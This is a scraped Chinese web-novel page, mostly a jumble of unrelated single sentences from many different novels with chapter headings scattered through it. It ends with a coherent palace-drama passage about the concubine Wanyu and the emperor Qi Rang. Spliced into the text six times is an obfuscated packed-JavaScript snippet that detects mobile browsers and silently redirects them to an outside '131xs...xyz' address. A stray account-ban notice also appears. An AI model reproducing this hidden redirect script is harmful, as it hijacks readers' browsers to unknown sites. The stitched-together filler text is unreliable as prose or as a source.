不得不说,听到这个方法,赵凯真的是豁然开朗,对**佩服的不行,“华哥,你如此机智厉害,可惜才转到我们学校,大家都不知道,不然……肯定会风靡全校的。 把角色吃透,高媛媛就能把“演的概念抛开,把这部分不当回事,一切都是自然反应,没有“演的味道,才是最符合周白的要求的。 林杨连羞带怯,虽然有些话他很想说出口,但是或许是因为自己不善言辞而不知道怎么说出口。 姜浩然自己虽然十分欣赏**,但是这个事儿他还真不好阻拦。 “怎么说?沈进看六金虽然有些急迫,但是并不慌张,就知道不是什么怪物攻城的危机。 所有人都是一惊,妃雅是第三名,她要挑战的话,就只有第一和第二两个位置了。 虽然鞠丽娜从未刻意偷听什么,但是她从一些只言片语之中,她能感觉得到**和这位熟稔的关系。 苏晴也很激动,原本她以为这辈子这个梦想都不会实现了,而现在又得知还是有机会的。 王尚游黑着脸,忽然灵机一动,脚步陡然加速,背上的龙涛上下晃荡起来。 反倒是自己才被网友说了两天,她就主动找经纪人要微博账号,没成功就自己录了一个视频帮她澄清,还破天荒的第一次透露了自己的私人信息。 丧尸可能是 感觉到有人攻击,胳膊往下伸的更多了,两人往后再退一步。 这玩意儿这那两人的本命法器,估计出去秘境以后,能找他们让他们拿灵石赎回去。 一个为了亲情,一个为了情义,谁也低不了头。可最终,这二人还是在一起了。这是命运的折磨,却也算是命运能给他们俩最好的结局了。 落下云头,进了风临院,拜见过淳于谦。淳于谦果然问起方骏眉像是与人打过架的样子,方骏眉推说是摔下云头伤的,淳于谦没有多说。 胖子神情振奋,他施展月影圣体,刹那间,月桂树长,寒水缭绕,席卷楚毅。 白墨寒看了沉睡中的东方云星不知道多久,另一只放在甲板上的手微微抬起,便轻柔的抚上东方云星的脸。 周成抹去眉梢上的冰晶,满脸疲惫的勒住马缰。铠甲染血,布满刀痕,身后的披风早已破烂不堪。在周成身后,是百余名同样疲惫不堪的骁果精锐。 时,石台前的平地之上,数十个修士正在热火朝天地摆放桌椅,忙得不亦乐乎。 没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675510|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,这人便是当初和屈突通一起出征,却被李秀宁最后突袭,而射成重伤的长安留守,杨成威。 几个年轻人面色发紫,只觉得难以呼吸,因为一条超过千丈的双头白蛇,尾巴在山脚,两颗硕大的头颅在山巅,就这样直勾勾的望着众人。 这一次效果非常明显,海潮冲击圣教结界,几乎是连连破碎,圣教阵法再坚固,在海象这种如天灾力量攻势下,如何承受? 走出休息室的时候,听到一声愤怒的指责声传来,东方云星微微蹙眉,脚下的步伐却是未停,朝着比赛场地走去,在经过刚才传来怒喝声的地方时看到许褚一脸受伤的站在那里。 当然,到此为止,我还是觉得夏浩宇只是跟我发发脾气,他那种腹黑傲娇的性格,肯定接受不了被我这种浆糊脑子暗算的事实,估计气一气,就会好的吧? “我下流?我正要下流你以为你现在还能完璧?”姬美奈嘴角弯起,露出邪魅一下,似乎,内心中正在打开一扇新世界的大门。 东方云阳正蹲在院子的池水旁,慢悠悠投着鱼食,池子里放养了十多条漂亮的锦鲤。 “妈妈,我回来了。”轻轻的用钥匙打开门,姬美奈喊了一句,然后坐下,在玄关脱掉鞋子,穿上拖鞋,才踏上地板。 而且,现在又不是他刚入学期间,大部分同学都知道他是男生了好吧? 天师修的是灵气,达到两仪天师的高度,自上的灵气自然更加浓厚,可是刚才,孔天师完全没有在那个老者身上发现任何灵气运行的痕迹。 看着距离自己只剩不到数米的黑白熊,姬美奈的眼泪已经掉下来,话说……我不会真的要被熊给吃了吧? 第一卷 第238章 好 古浩峰有些无语地看了一眼赵大欣不过此刻并不是说话的时机。只得连忙挥手。叫她躲避起来。 刚刚走到休息室门口的北庭宇脚步一顿犹豫了下最终还是又走回办公桌拿起手机来扫了一眼。 在这里这名冥界修者其实和炎黄无极之间仅仅是隔着那一道护星光壁了。 “皮一下很开心。”北庭宇说着指尖轻轻点了点云思思的鼻尖眉眼之间全是宠溺。 “这个老张头。要不就让给菅海城吧反正这里面的原石这么多再选一块就行。我给你打个八折你看这么样?”袁老板劝道。 对于这种级别的职业拳手打一场比赛能拿十万就要笑了给一百万 最后一句话北庭和是笑着看着北庭宇和云思思说的看得出来他对这两个年轻人的结合是真的很高兴。 温珊抱着豆豆眼神变得温柔不已虽然她不记得但是心里面那种莫名的感觉已经足够她确定自己跟豆豆的关系了。 古浩峰一想那地方也不知道安排多少人这人的精神力让人防不胜防也就同意他跟着去了。 四龙听了孙旭的话这才收了云雾与孙旭告了辞便腾云驾雾往自己属地去了。 在六十七年前王亮率领着特别突击队深入到敌后突破过三八线。 店长忽然气得咬牙切齿倒是也有些骨气用手指着经理温强气得脸色苍白说完最后一句之后直接走出了东方明珠大门。 江淮面色垂冷看样子这两人不太好惹她也不想惹事抬着右手的机关护腕对着那络腮胡的太阳穴嗖的射出根钢针去。 江淮充耳不闻抬头看过去又是一具尸体被扔了出来她往前走了几步发现是方才那个去找郑婉的药行伙计。 韩逸离开这里直径向家里走去不一会就来到家门前看到姐姐和苏雪在门口等他。 “三皇子散人的话刘安不能说什么但是李奈您完全可以让他只身而退不是么!”刘安说着对着君懿熙意味深长地一笑。 几百米外的别墅门口周语诗不知何时进入了别墅区的大门正一脸焦急的朝着刘惜雪这里走来。 慕容倒了杯水递过去因着江淮是左撇子拿筷子的时候被她看见那断了一截的尾指惊愕和心疼在不停 的交汇,却没有问出口。 虽然以前就听到她身边的朋友是怎样去吹嘘着秦瑞霖是如何如何的厉害,长得又是怎样的高大帅气,说的恨不得是秦瑞霖在这个世界上根本就是个非常完美又毫无缺点的人了。 冷沐七就是在过来之前的时候突然萌生了一个想法,如果能把对方骗到的话,那一切就好办了。 就算是听到她的声音,她都感觉到有点难受,那是一种说不出的异样的感觉。 世界级天灾刚开始的时候,整个种族频道内还是异常火爆的,各种信息满天飞。 另外隔间里,武安侯郑淳和徐惟瑞已经取得了起哄**的人的口供。派人拿了给顺天府尹。 大乾王朝所有强大武学**无不是被朝廷和各大门派掌控在手。陆长生想要一门八层修炼**都难上加难,费劲心力不可得。 一席客套话,听得陆尔飞不由得回头朝夜天瞥了一眼儿,看来,也只有让这个男人再刺激一下她了。 王晓敏听得咬牙切齿,冷沐七也实在是听不下去,冷冷的用“上课了”这三个字成功打断了他。 此刻,夜天雄能这样放下身段说出这样的话,还不是看在他未来大孙子的份儿上,这要是搁在从前,一向强势的他还会如此? “逆骨魔刀,扭转乾坤。”与此同时,三名大将军骤然化成了黑色刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675511|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光扑了下去,生生冲进了地底深处。魔城周围的地面立刻剧烈震动起来,仿佛世界末日就要来临,以魔城为中心,层层地面开始塌陷下去。 地魔老鬼脸色一沉,手掌猛然一下握紧,若不是怕莫天行突然倒戈相向,他非常想先**他。 这时,动作辅助系统已经调试完成,有几个bug,张远开始一一修正。 众将闻言在此唱喏,而兰子义也算明白出京时张望所说鱼公公善于监军,不善统军的意思了。果然只有在张望这种级别的大将统领全军时鱼公公才能真正发挥自己监军的责任,还真不能因为一人监军久了就能带兵打仗了。 我不想说什么诗词歌赋看星星看月亮,那些美好的甜到骨子里的记忆,分开后显得那么可笑,当初的誓言脆弱的不堪一击。 当然,白翩然还是有进步的,经过晒伤之后,她就发现在马路对面有家咖啡店,她每天都坐在里面眼巴巴的看着政府大楼。丝毫不知外面早就已经天翻地覆。 只桃逐兔一人一箭便能让月山间丢掉半条命,要是这六个北镇兵一起放箭,月山间肯定会被射成刺猬。 “我们没有什么冲突,不用跟我示好。”继续吊吊的模样,好想刚刚那个邪肆的冷殿宸并不存在一般。 “蓝雨汐?”皱了皱眉头,安若然不止一次听到过这个名字,总会给自己一种熟悉而又陌生的感觉,可是,自己身边真的没有接触过这个名字。 可却在这个档口将伤口捧出来,依然没有愈合,她这段时间都是强装出的“释然”。 一路疾行,走了七天,避开诸多危险,没有人掉队,这是一个好消息。 这些古老力量从远古走来,不可避免就带上了许多鬼神玄幻之说,但它既然能够存在,还能复兴,那么自然有其独特的精华所在。 第一卷 第239章 囚 随着缴获战舰的改造和修理完毕规模反而比战前更大几乎淹没了大半个北大西洋的洋面。 绝对无暇完美贴合孟阳的喜好孟阳有种强烈的一见钟情的感觉他懵愣片刻再仔细看看面前这精心设计出来的作品终于冷静下来。 守护者倒也没有因此慌乱一剑劈出剑芒汇成一道光束凝聚到极限在剑芒周围空间发生了剧烈的扭曲竟是将这剑芒掩盖了起来致使这一道剑芒几乎隐形了。 银甲尸王说话间对着专诸尸王一招手随即便带着身后的数个黑**尸王和阴王朝着不远处的发光石柱走去了。 “十几亿都一分钱不会少。”龚平有一整套空手套白狼的计划这就是千术的另一种高级形式。商业千术和扑**其最深层的道理都是一脉相承的。 尤海波吏部张煌言户部学政部李光地刑部肖大壮礼部钱秉镫农业部张名振工商部朱盼盼兵部李过工部万思元外交部张亮民情部黄韬国防部魏无忌监察部杜歌军情部米林各部算是配齐了。 “九阶王座级的吞天兽对付虚空级的血瞳罗天狮竟然如此容易?”穆千绝的脸庞不禁有些泛白。 这个位面的宋朝军制说实话也是没多少变化还是奇葩的禁军、厢军和乡兵三方组合了。 省城最大的流氓王大天的赌场倒了之后没过多久另一个更豪华更有势力的赌场迅速崛起。 看到仅存的那一名黄巾力士冲过来**没有丝毫的惧色顺势直接冲上去的迎头一刀直接将黄巾力士的重锤硬碰硬死磕了一下。 看着同天的残血胖子不由得苦笑了一下这五年来他感觉自己的进步巨大可是没有想到结果还是和之前一样。 赤壁一战天下九分已定只剩刘备之川蜀一地待曹操收复便能一统天下。 只有在对方的意识海中留下点东西才能无时无刻地锁定原鬼老二若是对方有何异动他也是能第一时间了解。 同天的想法很简单就是先将这里的事情彻底的对外保密就连对内也只有少数的人可以知道以确保他们在收集道足够的地龙之前没有人知道这些地龙的宠物令牌。 这下却是轮到巫宸阳震惊了!因为纵是在上古时代 被古天子封为无双大帝的皇子。 孙不地不方敌恨陌冷诺诺通听到这话同天点了点头,刚刚想要说几句废话拖延点时间,哪怕是一秒也好,可是没有想到的是他才刚刚点头,那个守卫便朝着他飞奔而来,完全是不准备给他废话的时间了。 不过,虽然我没有在把她当成朋友,但是我和她以前毕竟有着很要好的关系,所以我还是希望她能过的好一点,起码我不想让她走上歪路。 看着席卷来的攻势,罗昊虽说实力无线接近夺命六境,却也不敢大意。 白宫里面,总统办公室中,这些人纷纷注视着坐在桌子前一句话也不说的总统。 “不行,不管说什么都不理我。”尽管我说出很多不属于这个世界的术语,宝石依然不动如山。 冷浩一见幽岚哭了,就赶紧安慰着说道,他还以为是幽岚认为他的实力不够,心里没底才哭的。 不过它对于三方面领头妖兽这样说了,也知道它们说的都是实情,给它们几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675512|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个胆子也不敢违抗他的命令,特别那两个异形妖兽的领头,更是不可能对它说谎,如此说来两大妖王的确返回隐世了。 完全没有顾及别的机器人,粒子炮瞬间发射,不过粒子炮的速度根本追不上古歌,只见其轻轻一跃,便躲开了机器人们的粒子炮。 由于之前已经将话说**,所以他也知道,若是他真的落到那名大圆满级别高手的手中,等待他的命运,将会是无比地凄惨,说不得还真有可能会被那名愤怒的大圆满高手给撕碎。而很显然,这样的结果,是他所无法接受的。 酒老说的很简单,可陆轩听得却是一愣一愣的,听完后,目光更是变得一片愕然。 “我可是提醒过你,千万别从背后跟我打招呼,你怎么就忘了呢?”陈浩蹲下身来,将华狂扶了起来。同时,他还依靠着体内的玄气,为华狂治疗那险些断裂的腰。 真不知该说雷月是个急性子好,还是该说她没脑子——方才,她竟然拉开车门便欲下车,还真不怕被正往这边赶来的警察当成活靶子误杀。 只不过,现在并不是诉说心事的时候。所以,她必须按捺住自己所有的心情,就此任由陈浩替自己疗伤。 “镇长,这里是怎么一回事,年轻人都去哪里了,怎么会有这么多病人?”方岩看着一个中年人问道,他想了解这里究竟生了什么事情。 这不,饶是卫紫早就做好了各种各样的准备,此刻在听了埃尔的这番话后,也是愣住了。 而这在赛利卡看来却又是另一番的意义,那银发赤瞳在他的眼中奇妙的和一个白色的身影重叠了起来。 第一卷 第240章 人都**,皇上还来干什么? 特别是听到叶晓峰揍人时说的那些话周妙可都忍不住有些感动。 听到叶寻欢的话后阿呆的双眸慢慢的眯在了一起满脸凝重的看着叶寻欢但是却没有在出手。 仙终是有了动作此刻的开口透露着无奈他虽是仙的一缕灵魄超脱之上却也背负着仙给予的使命。 “地球之上的灵气实在是太稀薄了所以说这些人修炼起来会十分的缓慢若是这样下去的话等到秋天你再征西域的时候恐怕这些人就连练气中期都不一定能够达到!”晴儿道。 十八岁是不可能出现一个中医医生的过去不可能现在不可能以后更不能。 看着面前不停逃窜的叶寻欢祁世杰仿佛已经看到了接下来叶寻欢跪在自己面前的一幕。 结果这少年紧张地刚说两句就哇的一下哭了出来声音更是囫囵不清不知道在说什么了。 青流再现如同水一般柔弱但见过之人都知晓此物的无坚不摧风不能阻雪不能掩埋它一路行进没有遇到半点阻碍即便是有也在瞬间灰飞烟灭不可触碰不可阻挡最少这风雪是不能。 秦浩然看到这一幕心里腹诽一阵将刚才的念头彻底扔到了九霄云外。 而天眼也是拔剑了第一次当着这么多人面将那竹剑取出也总算是让所有人看到了庐山真面目。此剑当是无比锋利那闪动的光泽浑然天成艳丽之中带着丝丝寒意。 就这样轰鸣不断的钟声一直响了九次方才悠悠的停止了下来。 她们不超项远东的车那是因为她们想知道项远东去哪而没说王心怡跟胡思眸不能相互超车这不这两丫的好像是对着干上了一样就在项远东的后面你超我我超你的。 朱由检确实有这个担忧这皇太极称帝很有可能气势如虹一举南下那么还没能土豆种出几茬来京师就被攻占了那样子就糟了。 “林哥哥 朱由检道:“封地一事等凌河伯回来再议。其他事宜交由你办了。”他还是妥协了当真给了封地估计翌日又是一堆的奏折上来了。 午饭过后池尚真意没有在原地耽搁直接发动汽车继续上路朝着下一 个落脚地鹿角市开去。 轰隆一声响,大碾台被压的粉碎,推土机的履带也一起把灭灵钉给卷到了泥土里,最不希望看见的事儿还是终于发生了。 事情到那时候也算是收场了,经历过的人除了要尽力去忘却惨痛的回忆之外,最重要的就是靠时间的流逝来淡化往日的痕迹。 那些晨星工造的叛军们居然大肆宣扬他们的理念,而他们拿那处于高空的轰炸机毫无办法。 锚的缆绳的后面,五只的赛博坦狼在咆哮着,它们朝着缆绳爬去。 “我再警告你一句,你现在好好说话还来得及。”石头冷冰冰的道。 苏子妍则笑吟吟的单手虚引,将付青竹带到了沙发旁边,示意付青竹坐下,苏子妍亲自为付青竹倒茶。 “大爷,您再好好想想,比如说,见到那人那天天气如何。或者你遇到了什么特别的事情之类的?”程海洋帮忙启发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675513|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终娜塔莎放弃了,眼中闪过一丝的羞涩,也有那么一丝的感慨:曾经那么的想要杀了这个家伙,现在却以这种姿势一起睡在床上。 在这张木桌之上摆着三根蜡烛——细长,黑色,蜡烛顶端尖细弯曲,仿佛魔鬼的黑色手指。 魔法飞船似乎已经停止前进,浮在高空。甲板上,所有乘客都被围在一起,埃德的角度只能看到有两个匪徒在船头。不过按照乘客的反应和正常推算,船中间或者船尾应该也有匪徒。 毕竟,他修为实在是太低了,根本就不是一个档次,之前在交锋时,就是游旦主宰他们照顾他,可现在连游旦主宰他们自己都受伤,楚峰自然招架不住,伤势最重。 杀了卢修斯的确会给吴阳带来麻烦,而这些麻烦一旦来了,他就没办法待在霍格沃茨学院了,现在还不是离开的时候。 那佛,一身黄金之色,盘坐虚空,两手相扣,无尽金色雾气不断涌出,神异非凡,简直像是一尊金像一般,神圣,高远,荡漾着无尽的柔和气息,令人心中有种膜拜的意味。 众人看到柳逸尘说的非常认真,顿时脸上的表情都僵硬起来,什么?真的是这样吗,难道真是肺癌晚期? 不过,这样一来傀儡的设定,就要更加的精密,要求更高。按照目前的傀儡技术来说,只能勉强做到了傀儡施展出武技,但楚风表明了,只要他学会的武技,都能灌输到傀儡上。 看到如此,那黑山老妖轻哼一声说道,脸色稍微缓和,身躯瞬间也恢复下来,显然和那罗霸道是旧识。 第一卷 第241章 朕这一次,绝不食言 叶风一些呆住了这家伙怎么进来的?以他现在的实力可还没办法把敌人给直接弄进空间里。 冯珍珍见简明怎么也不上钩心急如焚这样没气到唐晓芙反而弄得自己心神不宁。 陆涛一时之间没有反应过来因为他的手机并没有来电显示功能。 唐雨蝶美丽的眼眸认真的上下打量了叶风一遍确认并没有干什么伤却微微展颜。 萧骁像是没有看到老人变得奇怪的神色还有周身隐约透出的防备与警戒。 “这……”亚北米娅的目光看向了厨房的方向一大桶啤酒可是要不少钱呢。 莫树默默扭身回来用奇怪的眼神看着林奇那眼神之中并没有愤怒但同样也没有多少恐惧没有喜悦也没有不悦让人猜不透他的内心想法。 “那我去看看。”陆涛跟两位师姐打了个招呼就被董军给叫了过去。 唐晓芙姐妹还有冷晨旭、苏苡尘纷纷劝她她方才擦去眼泪劝鲁大海多吃一点并且夸耀唐晓芙的厨艺好。 “我觉得的我身体里像是有了无穷无尽的力量就算让**一整天的活也不会累了。”亚北米娅握着拳头感受了一下身体的变化惊喜道。 奶奶说的话她知道不能全信。从他们平时的对话她就知道当初是父亲对母亲一见钟情死缠烂打地追求她。甚至还是主动要求做她孩子父亲。根本不存在什么骗婚。真要说骗也是顾建华骗了母亲。 是一个时刻保持着最好的状态,确保能够随时接受各方考验的片场。 “我能在这儿住吗?”李嘉玉捏着手指她想守着这儿 "所以你想走?"洛天幻也知道亚伯的想法他也不想在这里与亚伯死战毕竟现在他们任何一方都没有占据优势如果真的打起来可能是两败俱伤。 李嘉玉想像了一下婚礼的场景觉得很带感兴奋地与方勤讨论个不停。段伟祺故意摆脸不高兴不让他做伴郎那他老婆跟谁凑一对呢? 亏得这场表演是摆的露天场子,没座位的还能在后头站开不然他们也要学说相声的卖挂票了。 海瑟似乎狂化了什么话都不听也完全不看情况只是机械的挥掉眼前所有的障碍物迈着沉重的步伐轰隆隆的奔跑出去。 细微的碎裂 声响起,素意手里的曲奇被生生捏碎,她整张脸变了,死死的盯着提利昂那张微笑的脸。 就在即将碰到她面纱的那一刻,霜华猛地往后退了一步,捂紧了自己的面纱,眸光透着几分惶恐不安。 他可以不在意那些闲言碎语,但不能容忍他们污蔑揣测自己的师傅和师姐。 苗苗很懂事,虽然有几天晚上她都住在安心家里,但只要安心拿出资料开始整理演讲稿的内容,苗苗就会很乖巧的自己上床、脱衣服睡觉,从不打扰安心的工作。 “乔鱼鹰在西边的柴房里,我只给你们两刻钟的时间。”叶渊一边穿着衣服一边道。 等到苏陌进入到教皇殿之后,就发现除了比比东之外,武魂殿到所有强者几乎都在里面。 准备动手,不过铁枪还在下面,赵林对树下的祝大春和梁松挥了挥手。 刚一进门,她就被坐在沙发上的黑影吓了一跳,下意识地打开灯,看见韩骁沉着一张脸坐在那儿。 林念初释放了自己,才要走出洗手间单格,却听外面传来唐雅冷厉的声音。 跟在韩骁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675514|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边总算熬过了这场活动,她耷拉着眼皮跟着韩骁一起等电梯。 所以苏陌就选择了在杀死深海魔鲸王之下,卸下自己的头部魂骨。 “算了,便宜他了”犹豫了半晌,秦珂道,与其有着说不出的味道。 “席利乌斯吞噬了阿尔泰尔,等同于得到了她的【承认力】,那么——”米特奥拉看着屏幕中,俏脸微微一红,因为魔王居然乘人之危kiss昏迷中的席利乌斯,还药店碧莲不? 杀生剑举起,作刺天之势!一道血红光柱如那虎兕出柙,血色气剑拢聚而来,涌向了伏魔剑阵。 那万千的闪电是朝着萨菲罗斯的方向袭来的,这其中哪怕是哟个闪电落到萨菲罗斯的身体上,萨菲罗斯是必死无疑的,萨菲罗斯是一点生存下来的机会都是没有的。 “不…可能…你的宝具怎么…会这么多?”咒腕大惊叫起来,这尼玛太不公平了,这个逼王究竟是谁,开挂竟然如此不讲道理,这完全破坏了游戏的公平性,游戏体验超级垃圾。 **在说了这话之后,不想再继续跟他们废话,直接跟着他们开门见山道。 是一个三轮车的印子。道路上的痕迹虽然很多,但是只有三轮车在这里停了最久时间。 感应到十几股魔力飞速靠近,阿喀琉斯面色一变,当即道,而阿福考虑了一下,扛起奥利奥,坐上了战车,战车旋即化作一道绿光消失在天际。 莎莉娜突然感到这个场面十分面熟,好像在哪里见过差不多的场景,“难道是……”莎莉娜想到。 “的确很强。不过如果是你说的那样的话,那她岂不是天下无敌了?”李轩出声问道,心中却回想起了另一件事。 第一卷 第242章 那个人从来不属于他 祁让说完这话,晚余仍旧没有醒来。 大长老眉头紧皱,他从未知道鳞桀珠竟然能吞噬这么多的仙力,像是无底洞一般。 但是海恩看到兰斯脸上没有一点痛苦的表情,难道这个男人没有痛感吗?接也海恩身上的水变成一只手臂,直接扼住了兰斯的喉咙。 “要是被你知道,一定要跟我收费,说亲一下要多少钱,呵呵……”童心妍傻笑着,将季时迁的手放在被子里。 金黄的汁液,混着泥水,从嘴角淌落下去,弥漫出一种异常的芳香。 这时候,又一人走了出来,这人刚出门,便又是一声闷哼,又被思思一掌拍倒在地。 初生的黯魇与两者相比却是有所差距,不过魔刹和月魂这两者扮猪吃虎的精神让白珀非常喜欢,因为白珀也是喜欢装x的人。 北临无忧走后,躲在房中的凤云瑶串了出来,脸臭臭的,虽然黑漆的脸已经被她洗干净了,但,一想到,刚才那脸黑的一面,不用多说了,脸已经够丢光了。 伊姆大人似乎很感慨的样子,抬起右手捏了捏,握了握爪,不知道是不是错觉,感觉空气发出了噼里啪啦的声音,龙人的掌心,空气仿佛被捏碎了一样。 降魔杵在手中不断的舞动,准确的对准了苍狼王的后面,狠狠的打在它那暴露在外的句话。 双手奉上,男人却一眼没看径直坐在主位上,结果甘果递过来的菜牌放在童心妍面前。 “他是木郎君的表弟,木郎君有本事,他也一定会有本事的!”田二丫冷哼。 别说有这么多集团董事看着,就单单远处那些看热闹的人,张星也不敢不承认,只好哭丧着脸点了点头。 若是分别在三座山头之上,建立起一座可与另外两座遥相呼应的大阵。 “嚯,这大嗓门,将来必是个大力气的娃儿!”大家都笑了起来。 她的手隔着面具抚上他的眉骨,慢慢描摹着向下,划过鼻梁,而后一顿。 而千户的出场就比较独特,毕竟一个身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675515|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿黑色紧身衣,带着奇特面罩,露个**巴的人那怕走着出来都很吓人。更何况千户还有一手好轻功,往往都会在黑暗中缓缓走出,悄无声息。 不过好歹是活下来的,放在江湖的历史之上,也算得上一件令人叹为观止的举动。 “林嫂嫂,药端来了。”周黑虎端着装了不少药丸药瓶的托盘,走进了房里。 衔池反应了一下,才记起来自己从护国寺回来那日,便收了沈澈一件大氅。如今短短几日,已有两件了。这样下去,这一冬沈澈怕是有一半的冬衣是替她做的。 唐岑愣了一下,不知为何,他从周离的身上感到了些许亲切感。他看周离头也不回地离开了,想了想,便冷着脸跟了上去。 这样巨大的力量踩着松软的地面上,稍不注意就会陷进去一大块。 但此时“阴阳舟”却拖拖拉拉,速度十分缓慢,似乎非常不情愿的样子。 大白话的意思:大家别被他的外表给懵逼了,这家伙是个黑心的资本家。 第243章 朕如你所愿 尊敬的SVIP用户,由于检测到您绑定设备超过 5 台,触发封禁,解封时间为:2999-12-29 16:00:00,如果需要在新设备获取下载权限,请前往用户后台清理设备后使用? 第244章 一个人对抗着整个紫禁城 这天过后,祁让再没见过晚余,晚余卧床静养,也没怎么出门。 乌兰雅每天过来陪她说话解闷,和她一起逗雪团玩耍。 雪团生性孤僻,不喜与人亲近,对乌兰雅却一点都不抵触,让她亲让她抱,有时还会到她寝殿里睡觉。 晚余和她们两个在一起,有时会觉得恍惚,仿佛时光倒流回了齐嫔还在的时候。 她想,如果时光真的可以倒流,那天晚上,她无论如何都不会来永寿宫见齐嫔。 那样的话,就算祁让仍旧不肯放过她,至少她不会被强占,齐嫔也不会死,一切说不定还有转圜的余地。 人生的路,真像是一盘棋,一步走错,满盘皆输。 现在,她已经别无所求,只希望能平平安安生下这个孩子,然后出宫,远走高飞。 祁让这回连圣旨都给她了,应该不会再出尔反尔了吧? 他答应她要雨露均沾,希望他也能说到做到。 她知道祁让对她这个要求很生气,可她想要保全自己和孩子,只能如此。 雨露均沾可以避免她成为众矢之的,如果别的妃嫔也怀上孩子,还可以分散别人对她这一胎的注意力。 万一祁让在这段时间内又有了新欢,想必不会再对她抱有执念,到时候也就顺利放她出宫了。 听说朝臣们一直在建议皇帝尽早立后,要是祁让能听进去就好了。 皇后入主中宫,对稳定前朝后宫都有益处,对皇帝也是一种约束。 祁让再怎么疯,有了正妻之后,多少总要收敛一些吧? 可惜,祁让并没有把朝臣的话当回事,实在被催得狠了,竟然从先帝的妃嫔中挑选了一个德高望重的老太妃,代替太后管理六宫妃嫔。 这话是紫苏从外面听来告诉晚余的,说皇上正让人收拾寿康宫,过两天就要让那位太妃搬进去住。 晚余知道祁让行事不按常理出牌,喜欢剑走偏锋,只是没想到他会偏成这样。 明明立后才是顺应天意,皆大欢喜的事情,他偏要大费周章弄一个太妃回来。 只怕朝臣们又要气疯了。 但这事跟自己没关系,晚余听一耳朵也就撂下了。 又过了两日,孙良言来传旨,说皇上已经为她选定了封号,正式册封她为贞嫔,让她即刻搬去承乾宫。 晚余不喜欢这个封号,感觉祁让像是在故意羞辱她,时刻提醒她要对他忠贞守节一样。 可她不喜欢也改变不了什么,总不能因为一个封号去和他争论。 她不想见他,也不想节外生枝,左右也就几个月的事,等孩子生下来她就走,到那时这封号自然也就作废了。 于是,她平静地接受了这个封号,行过册封礼后,就告别乌兰雅,带着紫苏云归,并另外几个宫女太监搬去了承乾宫。 承乾宫是两进的院子,分前殿后殿,里面原本住着两个低位妃嫔,现如今已被迁到别处,这偌大的宫殿,只给晚余一个人居住。 对晚余来说,这里更像是一个奢华的特大号牢房,她要在这里住到刑满释放。 升了主位,宫女太监的人数会相应增加,还要有专门的主管太监和掌事姑姑。 孙良言说掌事姑姑暂且由玉竹担任,主管太监稍后会来向她报到。 晚余对此更无所谓,反正都是祁让的眼线,除了名字不同,别的都一样。 孙良言见她什么都兴致缺缺的样子,和自己说话也是爱搭不理,心里说不出的难受。 他知道,经此一事,晚余和他的关系,再也回不到从前了。 